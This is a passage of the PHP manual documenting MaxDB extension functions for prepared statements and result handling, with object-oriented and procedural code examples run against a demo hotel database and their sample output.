   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* drop table */
   maxdb_query($link, "DROP TABLE temp.mycity");

   /* execute query */
   maxdb_stmt_execute($stmt);

   printf("Error: %s.\n", maxdb_stmt_error($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_stmt_execute(): -4004 POS(23) Unknown table name:MYCITY [42000] <...>
Error: POS(23) Unknown table name:MYCITY.

See Also

  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_errno
maxdb_stmt_execute
MaxDB Functions


Executes a prepared Query

maxdb_stmt_error
maxdb_stmt_fetch
MaxDB Functions
PHP Manual

maxdb_stmt_execute

maxdb_stmt::execute

(PECL maxdb >= 1.0)

maxdb_stmt_execute -- maxdb_stmt::execute — Executes a prepared Query

Description

Procedural style

bool maxdb_stmt_execute ( resource $stmt )

Object oriented style

bool maxdb_stmt::execute ( void )

The maxdb_stmt_execute() function executes a query that has been previously prepared using the maxdb_prepare() function represented by the stmt resource. When executed any parameter markers which exist will automatically be replaced with the appropiate data.

If the statement is UPDATE, DELETE, or INSERT, the total number of affected rows can be determined by using the maxdb_stmt_affected_rows() function. Likewise, if the query yields a result set the maxdb_fetch() function is used.

Note:

When using maxdb_stmt_execute(), the maxdb_fetch() function must be used to fetch the data prior to preforming any additional queries.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

/* Prepare an insert statement */
$query = "INSERT INTO temp.mycity (zip, name, state) VALUES (?,?,?)";
$stmt = $maxdb->prepare($query);

$stmt->bind_param("sss", $val1, $val2, $val3);

$val1 = '11111';
$val2 = 'Georgetown';
$val3 = 'NY';

/* Execute the statement */
$stmt->execute();

$val1 = '22222';
$val2 = 'Hubbatown';
$val3 = 'CA';

/* Execute the statement */
$stmt->execute();

/* close statement */
$stmt->close();

/* retrieve all rows from myCity */
$query = "SELECT zip, name, state FROM temp.mycity";
if ($result = $maxdb->query($query)) {
   while ($row = $result->fetch_row()) {
       printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
   }
   /* free result set */
   $result->close();
}

/* remove table */
$maxdb->query("DROP TABLE temp.mycity");

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

/* Prepare an insert statement */
$query = "INSERT INTO temp.mycity (zip, name, state) VALUES (?,?,?)";
$stmt = maxdb_prepare($link, $query);

maxdb_stmt_bind_param($stmt, "sss", $val1, $val2, $val3);

$val1 = '11111';
$val2 = 'Georgetown';
$val3 = 'NY';

/* Execute the statement */
maxdb_stmt_execute($stmt);

$val1 = '22222';
$val2 = 'Hubbatown';
$val3 = 'CA';

/* Execute the statement */
maxdb_stmt_execute($stmt);

/* close statement */
maxdb_stmt_close($stmt);

/* retrieve all rows from myCity */
$query = "SELECT zip, name, state FROM temp.mycity";
if ($result = maxdb_query($link, $query)) {
   while ($row = maxdb_fetch_row($result)) {
       printf("%s (%s,%s)\n", $row[0], $row[1], $row[2]);
   }
   /* free result set */
   maxdb_free_result($result);
}

/* remove table */
maxdb_query($link, "DROP TABLE temp.mycity");

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

11111 (Georgetown,NY)
22222 (Hubbatown,CA)

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_error
maxdb_stmt_fetch
MaxDB Functions


Fetch results from a prepared statement into the bound variables

maxdb_stmt_execute
maxdb_stmt_free_result
MaxDB Functions
PHP Manual

maxdb_stmt_fetch

maxdb_stmt::fetch

(PECL maxdb >= 1.0)

maxdb_stmt_fetch -- maxdb_stmt::fetch — Fetch results from a prepared statement into the bound variables

Description

Procedural style

bool maxdb_stmt_fetch ( resource $stmt )

Object oriented style

bool maxdb_stmt::fetch ( void )

maxdb_stmt_fetch() returns row data using the variables bound by maxdb_stmt_bind_result().

Note:

Note that all columns must be bound by the application before calling maxdb_stmt_fetch().

Return Values

Return values
Value | Description
TRUE | Success. Data has been fetched
FALSE | Error occured
NULL | No more rows/data exists

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER by name";

if ($stmt = $maxdb->prepare($query)) {

   /* execute statement */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($name, $code);

   /* fetch values */
   while ($stmt->fetch()) {
       printf ("%s (%s)\n", $name, $code);
   }

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER by name";

if ($stmt = maxdb_prepare($link, $query)) {

   /* execute statement */
   maxdb_stmt_execute($stmt);

   /* bind result variables */
   maxdb_stmt_bind_result($stmt, $name, $code);

   /* fetch values */
   while (maxdb_stmt_fetch($stmt)) {
       printf ("%s (%s)\n", $name, $code);
   }

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

12203 (Albany)
60601 (Chicago)
60615 (Chicago)
45211 (Cincinnati)
33575 (Clearwater)
75243 (Dallas)
32018 (Daytona Beach)
33441 (Deerfield Beach)
48226 (Detroit)
90029 (Hollywood)
92714 (Irvine)
90804 (Long Beach)
11788 (Long Island)
90018 (Los Angeles)
70112 (New Orleans)
10019 (New York)
10580 (New York)
92262 (Palm Springs)
97213 (Portland)
60018 (Rosemont)
95054 (Santa Clara)
20903 (Silver Spring)
20005 (Washington)
20019 (Washington)
20037 (Washington)

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_error() - Returns a string description for last statement error
  • maxdb_stmt_bind_result() - Binds variables to a prepared statement for result storage

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_execute
maxdb_stmt_free_result
MaxDB Functions


Frees stored result memory for the given statement handle

maxdb_stmt_fetch
maxdb_stmt_init
MaxDB Functions
PHP Manual

maxdb_stmt_free_result

maxdb_stmt::free_result

(PECL maxdb >= 1.0)

maxdb_stmt_free_result -- maxdb_stmt::free_result — Frees stored result memory for the given statement handle

Description

Procedural style

void maxdb_stmt_free_result ( resource $stmt )

Object oriented style

void maxdb_stmt::free_result ( void )

The maxdb_stmt_free_result() function frees the result memory associated with the statement represented by the stmt parameter, which was allocated by maxdb_stmt_store_result().

Return Values

This function doesn't return any value.

See Also

  • maxdb_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_fetch
maxdb_stmt_init
MaxDB Functions


Initializes a statement and returns an resource for use with maxdb_stmt_prepare

maxdb_stmt_free_result
maxdb_stmt_num_rows
MaxDB Functions
PHP Manual

maxdb_stmt_init

maxdb::stmt_init

(PECL maxdb >= 1.0)

maxdb_stmt_init -- maxdb::stmt_init — Initializes a statement and returns an resource for use with maxdb_stmt_prepare

Description

Procedural style

resource maxdb_stmt_init ( resource $link )

Object oriented style

object maxdb::stmt_init ( void )

Allocates and initializes a statement resource suitable for maxdb_stmt_prepare().

Note:

Any subsequent calls to any maxdb_stmt function will fail until maxdb_stmt_prepare() was called.

Return Values

Returns an resource.

See Also

  • maxdb_stmt_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_free_result
maxdb_stmt_num_rows
MaxDB Functions


Return the number of rows in statements result set

maxdb_stmt_init
maxdb_stmt_param_count
MaxDB Functions
PHP Manual

maxdb_stmt_num_rows

maxdb_stmt::num_rows

(PECL maxdb >= 1.0)

maxdb_stmt_num_rows -- maxdb_stmt::num_rows — Return the number of rows in statements result set

Description

Procedural style

int maxdb_stmt_num_rows ( resource $stmt )

Object oriented style

int $maxdb_stmt->num_rows;

Returns the number of rows in the result set.

Return Values

An integer representing the number of rows in result set.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* execute query */
   $stmt->execute();

   /* store result */
   $stmt->store_result();

   printf("Number of rows: %d.\n", $stmt->num_rows);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT zip, name FROM hotel.city ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* store result */
   maxdb_stmt_store_result($stmt);

   printf("Number of rows: %d.\n", maxdb_stmt_num_rows($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Number of rows: 25.

See Also

  • maxdb_stmt_affected_rows() - Returns the total number of rows changed, deleted, or inserted by the last executed statement
  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_store_result() - Transfers a result set from a prepared statement

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_init
maxdb_stmt_param_count
MaxDB Functions


Returns the number of parameter for the given statement

maxdb_stmt_num_rows
maxdb_stmt_prepare
MaxDB Functions
PHP Manual

maxdb_stmt_param_count

maxdb_stmt::param_count

(PECL maxdb >= 1.0)

maxdb_stmt_param_count -- maxdb_stmt::param_count — Returns the number of parameter for the given statement

Description

Procedural style

int maxdb_stmt_param_count ( resource $stmt )

Object oriented style

int $maxdb_stmt->param_count;

maxdb_stmt_param_count() returns the number of parameter markers present in the prepared statement.

Return Values

returns an integer representing the number of parameters.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($stmt = $maxdb->prepare("SELECT name FROM hotel.city WHERE name=? OR state=?")) {

   $marker = $stmt->param_count;
   printf("Statement has %d markers.\n", $marker);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($stmt = maxdb_prepare($link, "SELECT name FROM hotel.city WHERE name=? OR state=?")) {

   $marker = maxdb_stmt_param_count($stmt);
   printf("Statement has %d markers.\n", $marker);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Statement has 2 markers.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_num_rows
maxdb_stmt_prepare
MaxDB Functions


Prepare an SQL statement for execution

maxdb_stmt_param_count
maxdb_stmt_reset
MaxDB Functions
PHP Manual

maxdb_stmt_prepare

maxdb_stmt::prepare

(PECL maxdb >= 1.0)

maxdb_stmt_prepare -- maxdb_stmt::prepare — Prepare an SQL statement for execution

Description

Procedural style

bool maxdb_stmt_prepare ( resource $stmt , string $query )

Object oriented style

mixed maxdb_stmt::prepare ( string $query )

maxdb_stmt_prepare() prepares the SQL query pointed to by the null-terminated string query. The statement resource has to be allocated by maxdb_stmt_init(). The query must consist of a single SQL statement.

Note:

You should not add a terminating semicolon or \g to the statement.

The parameter query can include one or more parameter markers in the SQL statement by embedding question mark (?) characters at the appropriate positions.

Note:

The markers are legal only in certain places in SQL statements. For example, they are allowed in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value.

However, they are not allowed for identifiers (such as table or column names), in the select list that names the columns to be returned by a SELECT statement), or to specify both operands of a binary operator such as the = equal sign. The latter restriction is necessary because it would be impossible to determine the parameter type. In general, parameters are legal only in Data Manipulation Languange (DML) statements, and not in Data Defination Language (DDL) statements.

The parameter markers must be bound to application variables using maxdb_stmt_bind_param() and/or maxdb_stmt_bind_result() before executing the statement or fetching rows.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Portland";

/* create a prepared statement */
$stmt =  $maxdb->stmt_init();
if ($stmt->prepare("SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   $stmt->bind_param("s", $city);

   /* execute query */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($district);

   /* fetch value */
   $stmt->fetch();

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$city = "Portland";

/* create a prepared statement */
$stmt = maxdb_stmt_init($link);
if (maxdb_stmt_prepare($stmt, "SELECT state FROM hotel.city WHERE name=?")) {

   /* bind parameters for markers */
   maxdb_stmt_bind_param($stmt, "s", $city);

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* bind result variables */
   maxdb_stmt_bind_result($stmt, $district);

   /* fetch value */
   maxdb_stmt_fetch($stmt);

   printf("%s is in district %s\n", $city, $district);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Portland is in district OR

See Also

  • maxdb_stmt_init() - Initializes a statement and returns an resource for use with maxdb_stmt_prepare
  • maxdb_stmt_execute() - Executes a prepared Query
  • maxdb_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • maxdb_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • maxdb_stmt_close() - Closes a prepared statement

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_param_count
maxdb_stmt_reset
MaxDB Functions


Resets a prepared statement

maxdb_stmt_prepare
maxdb_stmt_result_metadata
MaxDB Functions
PHP Manual

maxdb_stmt_reset

maxdb_stmt::reset

(PECL maxdb >= 1.0)

maxdb_stmt_reset -- maxdb_stmt::reset — Resets a prepared statement

Description

Procedural style

bool maxdb_stmt_reset ( resource $stmt )

Object oriented style

bool maxdb_stmt::reset ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_prepare
maxdb_stmt_result_metadata
MaxDB Functions


Returns result set metadata from a prepared statement

maxdb_stmt_reset
maxdb_stmt_send_long_data
MaxDB Functions
PHP Manual

maxdb_stmt_result_metadata

maxdb_stmt::result_metadata

(PECL maxdb >= 1.0)

maxdb_stmt_result_metadata -- maxdb_stmt::result_metadata — Returns result set metadata from a prepared statement

Description

Procedural style

resource maxdb_stmt_result_metadata ( resource $stmt )

Object oriented style

resource maxdb_stmt::result_metadata ( void )

If a statement passed to maxdb_prepare() is one that produces a result set, maxdb_stmt_result_metadata() returns the result resource that can be used to process the meta information such as total number of fields and individual field information.

Note:

This result set pointer can be passed as an argument to any of the field-based functions that process result set metadata, such as:

  • maxdb_num_fields()

  • maxdb_fetch_field()

  • maxdb_fetch_field_direct()

  • maxdb_fetch_fields()

  • maxdb_field_count()

  • maxdb_field_seek()

  • maxdb_field_tell()

  • maxdb_free_result()

The result set structure should be freed when you are done with it, which you can do by passing it to maxdb_free_result()

Note:

The result set returned by maxdb_stmt_result_metadata() contains only metadata. It does not contain any row results. The rows are obtained by using the statement handle with maxdb_fetch().

Return Values

maxdb_stmt_result_metadata() returns a result resource or FALSE if an error occured.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

$maxdb->query("CREATE TABLE temp.friends (id int, name varchar(20))");

$maxdb->query("INSERT INTO temp.friends VALUES (1,'Hartmut')");
$maxdb->query("INSERT INTO temp.friends VALUES (2, 'Ulf')");

$stmt = $maxdb->prepare("SELECT id, name FROM temp.friends");
$stmt->execute();

/* get resultset for metadata */
$result = $stmt->result_metadata();

/* retrieve field information from metadata result set */
$field = $result->fetch_field();

printf("Fieldname: %s\n", $field->name);

/* close resultset */
$result->close();

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

maxdb_query($link, "CREATE TABLE temp.friends (id int, name varchar(20))");

maxdb_query($link, "INSERT INTO temp.friends VALUES (1,'Hartmut')");
maxdb_query($link, "INSERT INTO temp.friends VALUES (2, 'Ulf')");

$stmt = maxdb_prepare($link, "SELECT id, name FROM temp.friends");
maxdb_stmt_execute($stmt);

/* get resultset for metadata */
$result = maxdb_stmt_result_metadata($stmt);

/* retrieve field information from metadata result set */
$field = maxdb_fetch_field($result);

printf("Fieldname: %s\n", $field->name);

/* close resultset */
maxdb_free_result($result);

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Fieldname: ID

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_free_result() - Frees the memory associated with a result

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_reset
maxdb_stmt_send_long_data
MaxDB Functions


Send data in blocks

maxdb_stmt_result_metadata
maxdb_stmt_sqlstate
MaxDB Functions
PHP Manual

maxdb_stmt_send_long_data

maxdb_stmt::send_long_data

(PECL maxdb 1.0)

maxdb_stmt_send_long_data -- maxdb_stmt::send_long_data — Send data in blocks

Description

Procedural style

bool maxdb_stmt_send_long_data ( resource $stmt , int $param_nr , string $data )

Object oriented style

bool maxdb_stmt::stmt_send_long_data ( int $param_nr , string $data )

Allows to send parameter data to the server in pieces (or chunks). This function can be called multiple times to send the parts of a character or binary data value for a column, which must be one of the TEXT or BLOB datatypes.

param_nr indicates which parameter to associate the data with. Parameters are numbered beginning with 0. data is a string containing data to be sent.

Note:

For efficiency reasons, this function should be used after calling maxdb_execute(). In this case, the data is not stored on the client side. The end of the sequence must end with a call to maxdb_stmt_close_long_data().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_result_metadata
maxdb_stmt_sqlstate
MaxDB Functions


Returns SQLSTATE error from previous statement operation

maxdb_stmt_send_long_data
maxdb_stmt_store_result
MaxDB Functions
PHP Manual

maxdb_stmt_sqlstate

(PECL maxdb >= 1.0)

maxdb_stmt_sqlstate — Returns SQLSTATE error from previous statement operation

Description

string maxdb_stmt_sqlstate ( resource $stmt )

Returns a string containing the SQLSTATE error code for the most recently invoked prepared statement function that can succeed or fail. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC.

Note:

Note that not all MaxDB errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Return Values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* drop table */
   $maxdb->query("DROP TABLE temp.mycity");

   /* execute query */
   $stmt->execute();

   printf("Error: %s.\n", $stmt->sqlstate);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* drop table */
   maxdb_query($link, "DROP TABLE temp.mycity");

   /* execute query */
   maxdb_stmt_execute($stmt);

   printf("Error: %s.\n", maxdb_stmt_sqlstate($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_stmt_execute(): -4004 POS(23) Unknown table name:MYCITY [42000] <...>
Error: 42000.

See Also

  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_error() - Returns a string description for last statement error

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_send_long_data
maxdb_stmt_store_result
MaxDB Functions


Transfers a result set from a prepared statement

maxdb_stmt_sqlstate
maxdb_store_result
MaxDB Functions
PHP Manual

maxdb_stmt_store_result

maxdb::store_result

(PECL maxdb >= 1.0)

maxdb_stmt_store_result -- maxdb::store_result — Transfers a result set from a prepared statement

Description

Procedural style

bool maxdb_stmt_store_result ( resource $stmt )

Object oriented style

object maxdb::store_result ( void )

maxdb_stmt_store_result() has no functionally effect and should not be used for retrieving data from MaxDB server.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* execute query */
   $stmt->execute();

   /* store result */
   $stmt->store_result();

   printf("Number of rows: %d.\n", $stmt->num_rows);

   /* free result */
   $stmt->free_result();

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* store result */
   maxdb_stmt_store_result($stmt);

   printf("Number of rows: %d.\n", maxdb_stmt_num_rows($stmt));

   /* free result */
   maxdb_stmt_free_result($stmt);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Number of rows: 25.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_result_metadata() - Returns result set metadata from a prepared statement
  • maxdb_fetch() - Alias of maxdb_stmt_fetch

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_sqlstate
maxdb_store_result
MaxDB Functions


Transfers a result set from the last query

maxdb_stmt_store_result
maxdb_thread_id
MaxDB Functions
PHP Manual

maxdb_store_result

maxdb::store_result

(PECL maxdb >= 1.0)

maxdb_store_result -- maxdb::store_result — Transfers a result set from the last query

Description

Procedural style

resource maxdb_store_result ( resource $link )

Object oriented style

object maxdb::store_result ( void )

This function has no functionally effect.

Return Values

Returns a result resource or FALSE if an error occurred.

Examples

See maxdb_multi_query().

See Also

  • maxdb_real_query() - Execute an SQL query
  • maxdb_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_store_result
maxdb_thread_id
MaxDB Functions


Returns the thread ID for the current connection

maxdb_store_result
maxdb_thread_safe
MaxDB Functions
PHP Manual

maxdb_thread_id

maxdb::thread_id

(PECL maxdb >= 1.0)

maxdb_thread_id -- maxdb::thread_id — Returns the thread ID for the current connection

Description

Procedural style

int maxdb_thread_id ( resource $link )

Object oriented style

int $maxdb->thread_id;

The maxdb_thread_id() function returns the thread ID for the current connection which can then be killed using the maxdb_kill() function. If the connection is lost and you reconnect with maxdb_ping(), the thread ID will be other. Therefore you should get the thread ID only when you need it.

Note:

The thread ID is assigned on a connection-by-connection basis. Hence, if the connection is broken and then re-established a new thread ID will be assigned.

Return Values

maxdb_thread_id() returns the Thread ID for the current connection.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = $maxdb->thread_id;

/* Kill connection */
$maxdb->kill($thread_id);

/* This should produce an error */
if (!$maxdb->query("CREATE TABLE mycity LIKE hotel.city")) {
   printf("Error: %s\n", $maxdb->error);
   exit;
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* determine our thread id */
$thread_id = maxdb_thread_id($link);

/* Kill connection */
maxdb_kill($link, $thread_id);

/* This should produce an error */
if (!maxdb_query($link, "CREATE TABLE mycity LIKE hotel.city")) {
   printf("Error: %s\n", maxdb_error($link));
   exit;
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -10821 Session not connected <...>
Error: Session not connected

See Also

  • maxdb_kill() - Disconnects from a MaxDB server

User Contributed Notes

There are no user contributed notes for this page.
maxdb_store_result
maxdb_thread_safe
MaxDB Functions


Returns whether thread safety is given or not

maxdb_thread_id
maxdb_use_result
MaxDB Functions
PHP Manual

maxdb_thread_safe

(PECL maxdb >= 7.6.06.04)

maxdb_thread_safe — Returns whether thread safety is given or not

Description

bool maxdb_thread_safe ( void )

maxdb_thread_safe() indicates whether the client library is compiled as thread-safe.

Return Values

TRUE if the client library is thread-safe, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_thread_id
maxdb_use_result
MaxDB Functions


Initiate a result set retrieval

maxdb_thread_safe
maxdb_warning_count
MaxDB Functions
PHP Manual

maxdb_use_result

maxdb::use_result

(PECL maxdb >= 1.0)

maxdb_use_result -- maxdb::use_result — Initiate a result set retrieval

Description

Procedural style

resource maxdb_use_result ( resource $link )

Object oriented style

resource maxdb::use_result ( void )

maxdb_use_result() has no effect.

Return Values

Returns result or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query  = "SELECT * FROM DUAL";

/* execute multi query */
if ($maxdb->multi_query($query)) {
   do {
       /* store first result set */
       if ($result = $maxdb->use_result()) {
           while ($row = $result->fetch_row()) {
               printf("%s\n", $row[0]);
           }
           $result->close();
       }
       /* print divider */
       if ($maxdb->more_results()) {
           printf("-----------------\n");
       }
   } while ($maxdb->next_result());
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query  = "SELECT * FROM DUAL";

/* execute multi query */
if (maxdb_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = maxdb_use_result($link)) {
           while ($row = maxdb_fetch_row($result)) {
               printf("%s\n", $row[0]);
           }
           maxdb_free_result($result);
       }
       /* print divider */
       if (maxdb_more_results($link)) {
           printf("-----------------\n");
       }
   } while (maxdb_next_result($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

a

See Also

  • maxdb_real_query() - Execute an SQL query
  • maxdb_store_result() - Transfers a result set from the last query

User Contributed Notes

There are no user contributed notes for this page.
maxdb_thread_safe
maxdb_warning_count
MaxDB Functions


Returns the number of warnings from the last query for the given link

maxdb_use_result
Mongo
MaxDB Functions
PHP Manual

maxdb_warning_count

maxdb::warning_count

(PECL maxdb >= 1.0)

maxdb_warning_count -- maxdb::warning_count — Returns the number of warnings from the last query for the given link

Description

Procedural style

int maxdb_warning_count ( resource $link )

Object oriented style

int $maxdb->warning_count;

maxdb_warning_count() returns the number of warnings from the last query in the connection represented by the link parameter.

Return Values

Number of warnings or zero if there are no warnings.

Examples

Example #1 Object oriented style

<?php
